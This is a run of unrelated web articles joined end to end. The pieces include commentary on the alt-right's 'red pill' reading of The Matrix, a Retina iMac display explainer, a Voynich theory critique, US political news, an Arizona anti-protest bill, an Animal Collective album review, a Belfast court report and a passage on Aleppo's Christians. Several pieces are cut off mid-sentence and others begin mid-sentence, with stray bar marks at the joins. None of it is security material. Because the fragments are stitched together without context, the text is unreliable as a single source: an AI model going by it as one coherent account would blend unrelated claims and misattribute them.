I ask this, because in the years since “The Matrix” hit theaters, that scene has been repurposed as a device for various factions of the alt-right, most famously so-called men’s rights activists. In this parlance, taking the red pill reveals not that humans are being kept alive by robots who essentially farm them for the electrical impulses in their bodies, but that women actually run the world, exploiting men with our demonic sexuality, denying men custody, shortening their life expectancy and making false charges of rape.
As Aja Romano argued in Vox, “The Matrix metaphor works for just about every conceivable social system you might hate; but the alt-right movement has explicitly used it to construct a protective feedback loop around its misogyny and white supremacy. In other words, if you disagree or offer an opposing viewpoint, to the alt-right, it’s because you’re still living within the Matrix – you’ve taken the blue pill, you’re a mindless sheep, a weak cuck, or a shill for the insidious threat of progressive identity politics.”
None of which is to say that Warner Brothers and writer Zak Penn, who is involved in the project, would lean into this interpretation of “The Matrix.” If nothing else, I can’t imagine that directors Lana and Lilly Wachowski, the directors of the original movie and its sequels, who are both transgender women and have emphasized the value of diversity and female leadership in their work, would support or even be minimally neutral in the face of such a repurposing of their concepts.
Any new version of “The Matrix” would arrive to an audience that is not merely pre-aware of the franchise’s foundational ideas, but is also in circumstances where at least some discussion and debate about the movie is pre-determined. Remaking “The Matrix” means not only are the artists who work on it walking a pre-trod path, but also their ability to say anything new and fresh will be further constrained by the environment in which the movie’s released.
It’s awful to think about artists being asked to repeat the same old story over and over again. It’s worse to think that they might try to say something original, but in conditions in which no one will be able to hear or absorb the message.I’m at the end of my time with the Retina iMac now that our Senior Applemeister Andrew Cunningham is back from his nuptials. He’ll be finishing up our coverage of the device, but I wanted to touch on a couple of final points with the big Mac before I send it on its way to the East Coast. We’ve received several variations of the same question submitted to our feedback form: does the Retina iMac operate at 60Hz in its native 5120x2880 resolution? And if so, how is that even possible, given that DisplayPort 1.2 doesn’t have the bandwidth to support that resolution and refresh rate?
To answer the first question: yes, the iMac’s display runs at 60Hz, even when driving all 14.7 million pixels of its native 5k resolution. Apple directly verified this when I asked; the company also told Daring Fireball’s John Gruber the same. Further, it can be confirmed with apps that measure your refresh rate, like SwitchResX:
For additional verification, a quick visit to a Web-based app that demonstrates 60Hz movement shows that the screen is operating at that refresh rate:
Even when using SwitchResX to force the display out of HiDPI mode and into a non-scaled 1:1 5120x2880 resolution, SwitchResX continues to show 60Hz (I’d include a screenshot, but it looks identical to the previous one).
Regarding the "how is this possible" question—it’s possible because Apple isn’t constrained by a DisplayPort 1.2-compliant interface and cable inside the guts of its own computer. As iFixit showed when it took a Retina iMac apart, there’s a modified Parade Technologies TCON (timing controller) feeding data over what looks like a modified Embedded DisplayPort (eDP) connector with 60 pins instead of 40.
Whether this means that Apple is using that interface with a non-standard expansion of eDP 1.3 with additional lanes and an increased data rate or a totally made-up spec based on combining two standard DisplayPort 1.2 feeds into a single signal, the result is the same. There’s more than enough bandwidth available to push the display at 60Hz, in native resolution, at 24-bit color.
After a week of using the iMac—about half of which was spent in Windows 8.1 via Boot Camp—I’m left with the impression that the Retina iMac is distinctly… well… Mac-like. The Radeon GPU is more than capable of keeping the screen fed in OS X and Windows, and instances of the GUI visibly lagging were very rare. The screen was sharp and responsive, regardless of whether I had a single window on the screen or dozens, and scrolling through long lists of files or complex websites almost never resulted in jumps or hiccups.
Gaming was more of a mixed bag. The Retina iMac plays games fine, but "fine" isn’t going to win any awards. The best thing that can be said about it is that if you buy a Retina iMac (and get the upgraded GPU), you won’t be left out in the cold when it comes to gaming—you’ll be able to play stuff without any issues. You won’t be getting consistent butter-smooth performance at 4K or 5K resolution with maxed-out graphical options in new titles, though. If that’s your priority, you need to look elsewhere.
One final observation about the iMac: even though it can’t drive a second external 5K monitor, it |
international stage. "I think that's one of the best times of your career to be able to put on red, white and blue for the United States, to be able to play with the best players in the world," Kidd said. "You should represent your country if you have that opportunity."
UP NEXT
Milwaukee: at 76ers on Sunday.
Boston: at Atlanta on Saturday.
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Follow Kyle Hightower on Twitter at http://www.twitter.com/khightowerNissan's all-new 370Z is still well over a week from its global debut at the LA Auto Show, but that hasn't stopped the automaker's in-house tuning company Nismo from prepping its own tuned version of the boldly-designed sportscar.
It's not entirely clear whether Nismo will be offering the 370Z S-Tune as a complete car or will simply supply owners with the parts required, but thanks to a leak of information and some scanned brochures, we now know exactly what the S-Tune moniker brings.
Available in two flavours, the S-Tune packages cover cosmetics (the Aero package) and performance (the, uh, Performance package). The Aero bundles together a lower bumper lip, an add-on nose extension piece, nifty-looking sideskirts, rear 'fender protectors' and a new rear wing design. Nismo says it improves downforce while also mitigating drag, and that it was extensively tested in a wind tunnel. We couldn't care less, really, for it looks totally boss (well, perhaps without that nose extension anyway).
The Performance package is the one to go for if you prefer 'go' over'show'. There is a full stainless-steel dual exhaust system, Nismo S-Tune dampers and springs, grippy-compound S-Tune brake pads and a set of 370Z-specific Nismo LMZ5 forged alloy 19-inch rims. All of these mods should help unlock more power, more grip and better handling than the stock mechanicals, although given their fairly mild nature they should be compliant enough for street use.
Pricing for the Nismo parts has yet to be announced and distribution is likely to be limited to Japan (and maybe the United States), however we'll keep you posted on any new information as it comes in.
[370Ztech]Like it or not, we find ourselves completely surrounded by Bad Voynich Theories: this is an unfortunate (and often dispiriting) state of affairs, and one that seems unlikely to change any time soon.
Having said that, everyone is entirely free to pursue their own foolish Voynich theory (though it sometimes seems as though this is close to becoming obligatory). But as long as you’re only wasting a small amount of your own time, that’s essentially fine, because you’ll probably learn a load of interesting stuff along the way. And if you can (eventually) get to the point where you truly understand the basic mistake that set you on the wrong track (and can actually accept it), you’ll probably have stretched your mind in an overall positive way.
However, the one thing that takes a Bad Voynich Theory and turns it into an outright tragedy is when it starts to gain followers – people who have no inkling of the basic historical/logical error the original theorist has almost certainly made. For if there are (say) a thousand Voynich theories out there (and the smart money is surely on the actual figure being a fair bit higher), that means that at least 999 of them are wrong: or, put another way, the chances of a randomly picked Voynich Theory being correct is no more than 0.1%.
I’ve written before that I think Tucker & Talbert’s “New Spain / Nahuatl” Voynich theory is demonstrably wrong, but their camp has now acquired a new ally who wants to take those ideas much further….
“The Annotated Voynich Codex”
Jules Janick at Purdue University has picked up Arthur O. Tucker’s Mesoamerican baton and done his best to hurtle forward down the same track with it. According to his freshly-minted Voynich project page (a longer PDF version including Janick’s transliteration tables and working examples of plant decryptions is here):
The two botanists who have published papers in refereed journals (Hugh O’Neil, 1944 and Arthur O. Tucker, 2013) have observed the presence of only New World plants. Tucker has demonstrated that this is a MesoAmerican codex based on identification of plants, animals, a mineral, language symbols, and heliocentrism.
(Of course, he means “Hugh O’Neill” here. *sigh*)
Subsequent analysis by Tucker and Jules Janick have demonstrated a direct connections to colonial Mexican history including illustrations of landmarks and cities and an allusion to the establishment in 1530 of the Celestial City of Jerusalem (Puebla de los Angeles) by the Franciscan friar Toribio of Benvente known as Motolinía (1482–1568). All our research to date indicates that the Voynich is a 16th century codex associated with indigenous Indians of Nueva España educated in schools established by the Spanish.
(He means Toribio de Benavente here, who arrived in New Spain in May 1524.)
Janick believes that the Voynich’s pharma section offers so many labels of herbs and plants that it can be used as a ‘Rosetta Stone’ for decrypting Voynichese. I’ve cut-and-pasted his transliteration table (below) into a form that Voynich researchers can quickly make sense of (note that I’ve given EVA t/k pride of place at top left, because it is the ‘tl’ from which every single Nahuatl Voynich theory ultimately seems to spring):
With the Voynich Manuscript so comprehensively solved, we should all now decamp to the bar for tequila shots (surely the only sensible way of ingesting agave), right? Well… no, not just yet. Janick continues:
However, the bulk of the manuscript defies translation, and it appears that a dialect or lost language associated with Classical Nahuatl is involved. This is being pursued. We are convinced that the Voynich codex is a document produced by Aztec descendants that has been unfiltered through Spanish editors. As such, we believe it may be a critically important manuscript to colonial Mexican history.
So despite the fragments of Voynichese that seem to be Nahuatl (if you squint at them in just the right way), there are huge sections of the text (I’m guessing this means 99% of the text) which even Janick’s clever transliteration table still makes no sense of. But to give him his dues, he would still appear to be several times further forward than Stephen Bax ever managed (numerically speaking, that is). 🙂
Puebla de los Angeles
Despite these significant (and, I suspect, insurmountable) linguistic shortcomings, Janick, Ryba & Tucker seem pretty convinced about their interpretation of the Voynich’s infamous nine-rosette page. Here’s a link to their paper Voynich Diagram 86v: An Interpretation, which excitedly concludes:
Page 86v of the Voynich Codex is a complex figure that involves two concepts: (1) a kabbalistic sephirothtic Tree of Life, and (2) a map associated with Puebla de los Angeles, the New Celestial City of Jerusalem established by the Franciscan Friars including Motolinia. It includes four encircling cities, Huejotzingo, Tlaxcalla, Tecamachalco, and Zempoala (Cempoala) Vera Cruz, all mentioned by Motolinia. The diagram is evidence that the artist of the Voynich Codex was involved with Catholic mysticism linked to Jewish kabbalah.
So… yet another nine-rosette spatial decryption to place atop what is already a tall and teetering pile. Anyone got a box of matches? The weather’s suddenly turned cold here and… (you know the rest).
Your Chance To Meet Jules Janick!
Regardless, if you’re just as excited as Janick et al. seem to be about this (and I can assure any disbelieving Cipher Mysteries readers that there are plenty of Voynichese/Nahuatl devotees out there) and can haul your sorry ass over to West Lafayette in Indiana this coming Wednesday lunchtime (21st September 2016), the very distinguished Jules Janick himself will be giving a talk on all this at Purdue University, hosted by the Jewish Studies Program:
Wednesday, September 21 ~ Beering Hall, Room B222 ~ 12:30
Jules Janick, James Troop Distinguished Professor of Horticulture, Department of Horticulture and Landscape Architecture, Purdue University, “A Kabbalah Sephirothic Tree, the New Jerusalem, and the Voynich Codex: Understanding a Bizarre 16th Century Manuscript of New Spain”
Personally, I think the probability that the Voynich Manuscript originated in New Spain is so close to zero that your desktop calculator would have to switch into scientific notation to display it. But given that nobody gives a monkey’s about what I happen to think, all I can say is: it is what it is.Hollis, N.H. – Yes, you read that right. According to Ted Cruz, the so-called Republican establishment is abandoning Florida senator Marco Rubio and uniting behind real-estate mogul Donald Trump. Cruz has long said the Republican primary would come down to two candidates, one a conservative, the other an establishment moderate. Now that Cruz and Trump are leading the polls, he’s trying his hardest to paint Trump as the latter.
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“We’re seeing something remarkable happening in this Republican primary,” the Texas senator told reporters on Wednesday. “Right now, the Washington establishment is abandoning Marco Rubio, they’ve made the assessment that Marco can’t win this race, and the Washington establishment is rushing over to support Donald Trump. We’re seeing that happen every day, and Mr. Trump is welcoming that support.”
Cruz and Trump have been trading barbs since last week’s Republican debate in Charleston, and Cruz’s latest broadside is in part a response to Trump’s claim that Cruz is incapable of getting along with his colleagues and, if elected, he’ll be unable to cut the sorts of deals with Congress essential to governance.
“Well,” Cruz said, “I don’t think there are a whole lot of Republicans who think the problem with Republican leadership is that they’re unwilling to make deals with Democrats … and Mr. Trump’s pitch to the Washington establishment is he’s a dealmaker. He’ll go and cut a deal with Chuck Schumer and Harry Reid and Nancy Pelosi and those deals will do exactly what John Boehner and Mitch McConnell have done, continue the failed big-government policies of this administration, continue the cronyism, continue the corporate welfare, continue Washington picking winners and losers.”
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So much for Ted Cruz and his friend Donald.Bernie Sanders Is Coming to Somerville
He's campaigning for Our Revolution candidates.
Get a compelling long read and must-have lifestyle tips in your inbox every Sunday morning — great with coffee!
Bernie Sanders is coming to Somerville on Monday, where he will stump for progressive candidates in local elections.
The Vermont Senator says he’ll be at Once Somerville, the music venue, at 9:30 a.m. to rally behind a pack of candidates in Cambridge in Somerville who are running for school board, city council, and board of aldermen. The election for those seats is on November 7.
He will also “be discussing how we can make local government work for ordinary citizens,” Our Revolution says on its website, adding, “Join Bernie and our candidates for local office as we fight for livable wages, affordable housing, and quality public education.”
Candidates backed by Our Revolution include Somerville’s Matt McLaughlin, Will Mbah, Jesse Clingan, JT Scott and Ben Ewen-Campen, and Cambridge’s Vatsady Sivongxay, Sumbul Siddiqui, Quinton Zondervan, Dennis Carlone, Jan Devereux, and Jeff Santos, along with Foxborough state Sen. Paul Feeney.
The Somerville chapter of the group, which Sanders founded in the wake of his loss in the 2016 Democratic Primary to Hillary Clinton, has taken aim at politicians they see as establishment Democrats, particularly Somerville Mayor Joe Curtatone. Our Revolution previously backed candidate Payton Corbett, who is running against Curtatone in this year’s mayoral race, but dropped that endorsement after some problematic Facebook posts from Corbett’s past emerged in the Boston Globe.
Sanders appeared in Boston last November around the release of his Our Revolution book, and the launch of his political action group, and returned for a talk at the Edward M. Kennedy Institute in March.We depend on your support. A generous gift in any amount helps us continue to bring you this service.
The city council in Albuquerque once again passed legislation to decriminalize the possession of small amounts of marijuana along with another piece of legislation to make marijuana offenses the lowest priority for Albuquerque police.
Both measures are destined for failure, however, as Mayor Richard Berry vowed to veto them again.
The legislation passed 5-4, with Democrats voting for the measure and Republicans voting against. The city council is officially non-partisan, but votes frequently fall along party lines.
It would take six votes to override a mayoral veto. Mayor Richard Berry is a Republican.
When councilors Rey Garduño and Isaac Benton announced earlier this month their intention to push for the legislation again, a spokesman for the mayor told New Mexico Political Report that Berry’s stance has not changed since 2013, when he vetoed legislation.
When Berry vetoed the marijuana decriminalization in 2013, he said the effort “has the potential of decriminalizing an illegal drug in our city.”
The legislation would have made the punishment for possession of one ounce or less of marijuana and possession of drug paraphernalia a civil infraction. Instead of potential jail time, it would be a $25 fine, similar to a traffic ticket.
A companion piece of legislation would have instructed police to make marijuana arrests the lowest priority.
A non-binding question on the ballot last year found that around 60 percent of Albuquerque residents supported reducing penalties for possession.
Opponents said that the city was not the right place to look at decriminalization.
From the Albuquerque Journal:
Councilors Don Harris and Dan Lewis, both Republicans, said the city isn’t the right venue for changing marijuana laws. The debate should happen at the state or federal level, they said.
“I really don’t like using the city of Albuquerque ordinances in symbolic fashion to make a point,” Harris said.
Past efforts
The Drug Policy Alliance has pushed for decriminalization of marijuana in Albuquerque.
“The vote tonight, in support of decriminalizing tiny amounts of marijuana, represents a critical first step toward bringing Albuquerque law into step with public opinion and common sense,” stated Emily Kaltenbach, the state director of the Drug Policy Alliance in New Mexico. “The majority of the City Council and the people of Albuquerque have spoken. It’s time their mayor took note.”
The group was successful in Santa Fe after a city council vote.
However, police are able to charge those with possession under state law, which still has stiffer penalties. The Albuquerque Journal found earlier this year that police have been opting to charge under state law.
Efforts to change the state law on marijuana possession have also fallen short. In 2013, the state House voted to reduce the penalties but the effort failed to gain traction in the Senate and did not get a vote.
In this year’s legislative session the opposite occurred; marijuana decriminalization cleared the Senate but could not pass the House.
Gov. Susana Martinez, a former prosecutor, is against decriminalizing marijuana.
Medical marijuana is legal in New Mexico, but in a very restricted way compared to other states.
ProgressNow New Mexico aided efforts to decriminalize marijuana in Albuquerque and Santa Fe. ProgressNow New Mexico helps find funding for New Mexico Political Report but has no input on any editorial decisions on this or any other story.This gay couple asked all their bridesmaids to wear wedding dresses for the coolest wedding ever. No doubts about that!
Gay Couple Deri Rogers, 28, and Ben Wood, 25, from Fairwater, Wales, decided that they could not have a gay wedding with no bride and they came up with the brilliant solution of asking all their bridesmaids to wear wedding dresses.
“Being a gay wedding we weren’t going to have an amazing gown reveal like at other big weddings,” Deri told Wales Online. “I figured every wedding needs a wedding dress – so why not 10? The girls all have huge personalities and so there was terrible competition, dress disasters and fall outs but on the day they all looked fab.”
The two guys were set up by their “best man”, Sadie, in 2013, and they decided to get married this year and create the most awesome wedding you’ve ever seen.
(Source)
[tps_footer][/tps_footer]Journal entry: Day 18 of 30
As I sit in the cockpit of my old rusted mining ship, deep inside a local asteroid belt all I can hear is the hum of the lasers as they blast away at ore. I do this for sixteen hours a day, knowing that one day my ship is not going to start up. This will be the day my family dies. What little money I make has to go towards keeping my hangar/home mine. With my wife who never had a chance to go to school and my daughter who we can’t afford to send to school. My wife has to work at the food plaza in our station just to be able to put food on the table for our daughter. Before leaving the station I check the asteroid status broadcaster from the stations industry division. Some days I decide not to eat if I know its not going to be a good day on the belts so that my family can eat. No ore means no food. It just all depends on who gets out to the belts first. With the larger corporations being able to mine around the clock, the rest of us get what is left over that they don’t take. What little is left over for us is a constant battle with the pirates and outlaws to get as much as we can. Their constant skirmish style attacks on solo miners makes it seem as though every day you head off to a belt could be your last. This is the reason why most of us do not go out alone. However, to ensure that my family has a place to live that is safe, I must risk it. I personally have not had any issue with pirates since my scout drones came in last month. Buying them took a toll on my family though. I had to go a couple days every week without eating. But I knew in the long run it would pay off, sure enough it did. I can mine farther away from the station I live in. This means I can get to the ore that the corporations could not haul back, that other solo miners and smaller vessels can not reach. That being said, this month is proving to be a little, not a lot, but a little better than the last. I have only twelve days left till I have to pay my station and pilot fee of seven hundred million Isk to keep a roof over my families head. I am just barely half way there and I am already doing the math to find out how many hours a day I need. In order to make my mark, sixteen hour days are about to turn into nineteen hour days, from undocking to docking. My family already misses me enough as it is. I can not keep living like this though. Something needs to change. I’m going to talk to my boss at the end of the month to see if I can upgrade into one of the newer and larger mining ships. I have already proved that I have that I have all the necessary skills to pilot one effectively. This would mean I would have some jingle in my pocket going to and from work. I could start a payment plan to send my daughter to school down on one of the local planet academies. I can buy my wife nicer clothes and some jewelry, maybe even save up for a better place. But these are all wishes and wishing never got me anywhere in life.Only hard work and rock hard determination proves to move me forward. Till then I just have to sit and wait till the mining cycle is over. Another eight-three minutes cycles till full capacity. If my boss doesn’t upgrade me soon, I don’t know what I will do. I think I might have to take matters into my own hands.
© Trenton Stalnaker and Around the block and on the bus, 2014-20–. Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and/or owner is strictly prohibited. Excerpts and links may be used, provided that full and clear credit is given to Trenton Stalnaker and Around the block and on the bus with appropriate and specific direction to the original content.
AdvertisementsAn Arizona bill that sought to prosecute protest organizers like racketeers is officially dead after widespread outcry forced state lawmakers to put that effort to rest, marking a victory for the national resistance movement currently facing a rash of legislation aimed at stifling dissent.
Arizona House Speaker J.D. Mesnard announced late Monday that the bill, SB 1142, would not move forward in the legislature.
"I haven't studied the issue or the bill itself, but the simple reality is that it created a lot of consternation about what the bill was trying to do," Mesnard, a Republican, told the Phoenix New Times. "People believed it was going to infringe on really fundamental rights. The best way to deal with that was to put it to bed."
Indeed, the legislation, which would have expanded state racketeering laws to allow police to arrest and seize the assets of suspected protest organizers, made national headlines last week after passing the GOP-led Senate.
However, according to The Arizona Republic, the bill's "fate was sealed over the weekend" as Mesnard "fielded phone calls from the public to complain about the bill. The House leader's personal cellphone number is listed on his personal website. As he listened to the callers, Mesnard realized their belief that the legislation was intended to curb free-speech rights outweighed any merits its supporters might put forward. He carefully read the legislation and by the time he returned Monday to his office, where there were more than 100 messages about the bill awaiting him, he decided he would kill the measure."
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The so-called "Plan a Protest, Lose Your House Bill" was the most recent state-level attempt to crackdown on the growing protest movement and opponents celebrated its defeat.
"Thanks to everyone who spoke out against this terrible proposal!" the ACLU of Arizona wrote on Twitter. "Continue fighting for our civil liberties!"
A recent analysis by the Washington Post found that "Republican lawmakers in at least 18 states have introduced on voted on legislation to curb mass protests," which includes bills that would "increase punishments for blocking highways, ban the use of masks during protests, [and] indemnify drivers who strike protesters with their cars."
As Common Dreams has previously observed, most of these anti-protest bills have sprouted up in Republican-dominated states that have seen a flurry of demonstrations and civil disobedience.
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In Minnesota, where people protested the police killings of Philando Castile and Jamar Clark by blocking roads, measures aimed at raising the penalties for obstructing traffic are gaining traction. Numerous bills were approved by public safety committees in both the House and Senate last week, despite vocal opposition.
Running down some of the other pending legislative efforts, The Atlantic's Matt Ford wrote Tuesday:
Tennessee lawmakers introduced their own civil-liability bill in February. [...] Iowa's Senate File 111 would make blocking highways a felony offense with a possible five-year prison sentence. In Washington, a version of the highway-protest bills came in response to environmentalist-led demonstrations that had targeted the oil industry. State Senator Doug Ericksen introduced Senate Bill 5009, also titled the Preventing Economic Disruption Act. It allows prosecutors to seek longer sentences against defendants who commit crimes that cause "economic disruption," which it defines as obstructing commercial vehicles or interfering with pipelines or oil-related facilities.
Meanwhile, public opposition has already defeated numerous other attempts, such as North Dakota's "civil liability" bill, a Virginia effort that would have brought potential jail time for attending a protest, and now Arizona's SB 1142.
As Lee Rowland, a senior attorney with the American Civil Liberties Union, explained to the Post, the new bills are "not about creating new rules that are necessary because of some gap in the law." Rather, Rowland said, the intent is to "increas[e] the penalties for protest-related activity to the point that it results in self-censorship among protesters who have every intention to obey the law."
The laws as well as the impulse to label protesters as "paid" or "professional" agitators are simply "standard operating procedure for movement opponents," according to Douglas McAdam, a Stanford sociology professor who studies protest movements.
"For instance, southern legislatures—especially in the Deep South—responded to the Montgomery Bus Boycott (and the Supreme Court's decision in Brown v. Board of Education) with dozens and dozens of new bills outlawing civil rights groups, limiting the rights of assembly, etc. all in an effort to make civil rights organizing more difficult," he wrote in an email to the Post. "Similarly, laws designed to limit or outlaw labor organizing or limit labor rights were common in the late 19th/early 20th century."
The Atlantic's Ford also concluded that "[t]he proposals as a whole point to a more enduring dynamic: As mass protests return to the political zeitgeist, so too will efforts to clamp down on them."Microsoft Chief Executive Officer Steve Ballmer at the Software 2007 conference in Santa Clara. Microsoft Corp said on Friday a U.S. jury awarded Alcatel-Lucent $367.4 million in damages after finding that the company had violated two patents related to the user interface in its Windows operating system. REUTERS/Lou Dematteis/Microsoft Handout
SEATTLE (Reuters) - Microsoft Corp (MSFT.O) said on Friday a U.S. jury awarded Alcatel-Lucent ALUA.PA $367.4 million in damages after finding that the company had violated two patents related to the user interface in its Windows operating system.
Microsoft, which will seek to have the verdict overturned, said Alcatel-Lucent was seeking $1.5 billion in damages related to the four patents named in the case. Microsoft said the jury found that Microsoft did not infringe on Alcatel’s video decoding technology patent.
The fourth patent in the lawsuit was asserted only against Dell Inc DELL.O, which was found not to have infringed, according to Microsoft.INGLEWOOD (CBSLA.com) — A boy atop a double-decker bus suffered major injuries Thursday when he slammed into a concrete overpass on the southbound 405 Freeway.
The bus was carrying minors and chaperones under the Arbor Vitae Street overpass in Inglewood just before 8 p.m. when the boy was struck on the head, California Highway Patrol Sgt. Todd Powers said.
The boy was taken to Harbor-UCLA Medical Center in Harbor City, where he’s listed in critical condition.
CHP would only say he was under 18 years old and lives in Manhattan Beach.
Investigators are trying to figure out if one of the passengers on the upper level stood up.
The bus is owned and operated by Starline Tours but was being chartered for a private party that included minors.
Starline says alcohol is never served on its buses.
The company wouldn’t say where the bus was headed to protect the victim’s privacy.
Despite the accident, tourists on Friday told CBS2/KCAL9’s Jeff Nguyen they’re not afraid off riding on double-deckers.
“I know that I have to be responsible to myself. I don’t worry,” Starline Tours rider Riva Moscoivth said.All the forces flowing through their songs, which often run like a river towards a waterfall, can put an impressionable listener in mind of the drones that course beneath Indian music or circular patterns from other traditions.
There’s a moment midway through FloriDada, the first song on Animal Collective’s new album Painting With, when a few seconds of the classic 1960s surf-rock hit Wipe Out flit in and out of aural view, like a tiny plane blipping on a radar display of a hurricane. It’s immediately recognisable – indeed, it would be hard to find a few seconds of any song so familiar – and thrilling for all its fever and speed.
That it soon proves so thoroughly subsumed, however – a distant memory in just a few more seconds, in fact – is a testament to the rush and density of a sound that has to be heard to be believed.
Animal Collective started out making creeping and crinkling gestures in the New York underground around 2000 before, slowly and methodically, becoming one of the most influential and sonically adventurous bands of recent times. Their influence can be deceiving, but it’s everywhere: in indie rock, strobing electronic dance music, day-glo fashion spreads, hyper-patterned textile design and worldly forays for arts of all kinds across the globe.
The list goes on, but what matters most is the music, which on Painting With ranks as some of the most lush and inviting of Animal Collective’s eclectic career. FloriDada opens in a bright, buoyant mode that governs much of the rest of the album, to the favour of antic anthems and strange sorts of sing-alongs that zig and zag while courting abstraction and catchiness with equal zeal.
For those who have not been acquainted, the American state of Florida – part of the inspiration for the album’s opening song – is one of the weirder places on Earth, with a mix of cultures and socioeconomic classes that could not be more vast. It’s the home of squeaky-clean Walt Disney World and quiet villages of old retirees seduced by warm weather and ocean breezes.
But then it’s also home to what seems like its own special kind of psychosis, with a teeming drug trade and behaviour so odd that a widely-followed Twitter feed, credited to @_FloridaMan, has been dedicated to news reports of many a typical “Florida Man” doing unseemly and perverse deeds. For example: “Florida man charged with assault with a deadly weapon after throwing alligator through Wendy’s drive-thru window,” Wendy’s being a fast-food restaurant. Mix that with Dada, the famous early 20th-century art movement devoted to all the beauty and bewilderment to be found in utter nonsense, and you are in the unique realm that Animal Collective haunts with songs like FloriDada.
Describing the sound of that realm is difficult. In many ways, Animal Collective remains a rock band, even though everything sonically speaking is electronic or, aside from some drum sounds, processed into a sort of all-over smeary abstraction more like painting than music. Beyond that, it is easiest just to say all the sounds are splattered, in every song.
The splatter aesthetic is highly organised though, and guided by adventurous ears tuned to music from different worlds. Hocus Pocus, the second track on Painting With, sounds like a slowed-down version of “Shangaan electro” music from South Africa, where artists – including those on a vital 2010 compilation titled Shangaan Electro: New Wave Dance Music From South Africa and released by the superb UK label Honest Jon’s – turn impossibly fast dance tracks into hypnotic, swirling wonders.
There are also certain inclinations toward elements at play in the newer sound of gqom, another South African movement that is darker and sparser, more suited for moody techno brooding. Highpoints of that can be heard on the new compilation Gqom Oh! The Sound of Durban Vol.1, which skitters and skulks through enticingly menacing atmospheres that turn out all kinds of wild imaginings and interestingly pitched drama. See, especially: Zulu War by Formation Boyz, a tense, entrancing fit of repetitive rhythms and foreboding sounds that casts a deep spell.
Animal Collective don’t make dance music exactly, but strains of it figure into a mix that draws energy from myriad sources, some fast and others slow. All the forces flowing through their songs, which often run like a river towards a waterfall, can put an impressionable listener in mind of the drones that course beneath Indian music or circular patterns from other traditions.
The gentle, lilting song Vertical features a series of circuitous voicings that spin in repeated patterns like the piano figures in Cuban salsa, and – owing to its title for sure but also melody lines that run long and take their time to resolve – Bagels in Kiev evokes a subtle sense of Eastern European Jewish music.
No such similarities are explicit or even likely intended, but it’s a credit to Animal Collective that excitable associations have come to surround them. It matches some of the mania in a sound marked by ping-ponging hyperactivity and vocals that evoke the kind of barbaric yawp summoned by the poet Walt Whitman. From his storied Song of Myself: “I too am not a bit tamed, I too am untranslatable / I sound my barbaric yawp over the roofs of the world.”
One can imagine a similar spirit coming over the group’s two main voices – Avey Tare and Panda Bear – when they shout and stammer over each other or, just as often, coalesce and hit upon heavenly harmonies. Over close to two decades now, the two have developed an inner language all of their own, with individual styles and a common idiosyncratic syntax. Panda Bear tends to be bright and sing-songy, while Avey Tare is more manic and jagged – together, they make fine foils for each other’s artful tendencies.
Everything in their music, in fact, is a foil of some kind and, more than anything, a source for surprise. Listening to Animal Collective at length can be a crazy-making exercise, for all the kinetic energy that burbles and abounds. But it can also profoundly recalibrate a listener’s sense of expectance and capacity for surprise in a way that is mesmerising in the end. In music so dynamic, there’s no telling what is going to happen from bar to bar, much less song to song. So the only thing to do is to lie back, burrow down and listen, intently.
Andy Battaglia is a writer in New York whose work appears in The Wall Street Journal, Frieze, The Paris Review and more.Here are all the winners from The Football League Awards 2015, which celebrate on and off pitch excellence across The League’s 72 clubs.
Shaun Harvey, Chief Executive of The Football League, said: "The 10th Football League Awards has given us the opportunity to reward outstanding performance, both on and off the pitch, during what has been a memorable Football League season."Each of our winners thoroughly deserves this recognition and, once again, we've seen exceptional levels of talent, dedication and achievement across all our nominees."The Football League Awards 2015 were streamed live on The Football League's official YouTube channel and website, while highlights will be shown on Sky Sports 1 on Monday evening at 6:15pm and 9:15pm.To find out more about The Football League Awards, and for a full list of Award categories, please visitor search foron Twitter, and other social media.— Researchers at Northwestern University are developing a smart phone that can sense whether you’re falling victim to depression.
As WBBM Newsradio’s Regine Schlesinger reports, psychologist David Mohr has been adapting phones as a virtual therapist for patients prone to depression.
LISTEN: WBBM Newsradio’s Regine Schlesinger reports
https://cbschicago.files.wordpress.com/2012/02/mp3_bc_-wav_carts_mood-phones-w2-regine-2-8-12.mp3
“We’re trying to develop individual algorithms for each user that can determine specific states, so their location where they are, their activity, their social context, who they’re with, what they’re engaged in, and their mood,” Mohr said.
That way, if someone is sitting at home for days on end feeling depressed, the phone could sense it.
“It can provide them an automated text message, or an automated phone call to make a suggestion to give somebody a call or get out of the house,” Mohr said.
Dr. Mohr says tests with eight patients so far, have shown that the phone “therapist,” has been helpful in lifting their moods.
“They all had a major depressive disorder when they started, and they were all both clinically and statistically better at the end of the treatment,” he said.
Dr. Mohr said the technology could offer more cost-effective ways to treat depression. He plans more widespread tests this summer.Image caption Nightly protests have been held at Twaddell Avenue over the rerouting of an Orange parade
A motorised wheelchair user has been convicted of ramming a policeman during a loyalist protest in north Belfast.
Samuel Baxter trapped the officer's leg against a police vehicle after he was stopped from passing through security lines on Twaddell Avenue, Belfast Magistrates Court heard.
The 53-year-old was also found guilty of disorderly behaviour during one of the nightly demonstrations in the area.
Baxter, of Canmore Close, will be sentenced next month.
'Blood clot'
Police witnesses told the court that one constable suffered a bruised shin in the incident after Baxter repeatedly directed his wheelchair weighing up to 28 stone at them.
Baxter said he was only in the area for family reasons and had no involvement in the protests over a disputed Orange Order parade.
He claimed that he was trying to pass through the police cordon to get his friend who had a blood clot to hospital.
He claimed the officer he was charged with assaulting told him: "Sit down, you're not getting through, OK."
He argued that the constable's flak jacket had caught on his wheelchair's gear stick, causing it to shunt forward about an inch.
'Staged'
A police inspector told the court Baxter was swearing and abusive.
He said the incident was part of attempts to incite a crowd who were filming on their mobile phones.
"This set-up happens on a nightly basis and has done for the past 400-odd nights," he said.
"Things like that are staged to try and rile the crowd up. I was made aware he had come out with a whole crowd round him and their cameras already on."
The inspector said police had been trying to calm the situation.
"We do this protest on a nightly basis. If there was a medical emergency it would have been quite obvious and we would certainly facilitate that," he added.
"When I spoke to this man and gave him |
nation. Christians in Aleppo have tended to live together in close-knit communities in neighborhoods usually clustered around churches.
It would be very accurate to describe some areas of Aleppo as “Christian,” although this by no means implies any sort of self- or outside-imposed segregation or discrimination. Residents of other faiths are found, and get along just fine in those areas. It is just that they are predominantly Christian.
Unfortunately, by a stroke of peculiarly bad luck, all the Christian neighborhoods are on or near the front lines in the parts of Aleppo divided between regime and rebel control. They have seen more than their fair share of fighting, “collateral damage” and a long line of civilian casualties.
